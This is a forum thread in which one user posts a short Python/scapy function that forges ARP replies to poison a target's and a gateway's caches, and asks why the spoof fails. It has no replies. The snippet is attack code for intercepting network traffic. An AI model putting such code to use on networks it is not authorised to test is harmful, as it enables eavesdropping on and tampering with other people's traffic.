Wrote my own ARP spoofer, but it doesn’t work – Digitalmunition




Wrote my own ARP spoofer, but it doesn’t work

Home Forums Wrote my own ARP spoofer, but it doesn’t work

This topic contains 0 replies, has 1 voice, and was last updated by  BrianMiz 3 weeks, 3 days ago.

  • Author
    Posts
  • #182151

    BrianMiz
    Member

    Hey guys. I was bored and decided to try out scapy in python, however I seem to have encountered a problem. I do send spoofed packets, but once they are sent, nothing in the arp cache of the target machine changes.

    Just one function handles this:

    def sendFalseArp(dst_IP, src_IP, dst_MAC, src_MAC):
    ether_target = scapy.Ether(dst=dst_MAC)
    arp_target = scapy.ARP(op=”is-at”, psrc=src_IP, pdst=dst_IP, hwsrc=src_MAC)
    spoof_packet = ether_target / arp_target
    scapy.send(spoof_packet)

    and the way I use it:

    sendFalseArp(target_IP, gateway_IP, target_MAC, own_MAC)
    sendFalseArp(gateway_IP, target_IP, gateway_MAC, own_MAC)

    Help would be really helpful since this is driving me nuts.

    Thanks in advance.

    EDIT: Wrong code

You must be logged in to reply to this topic.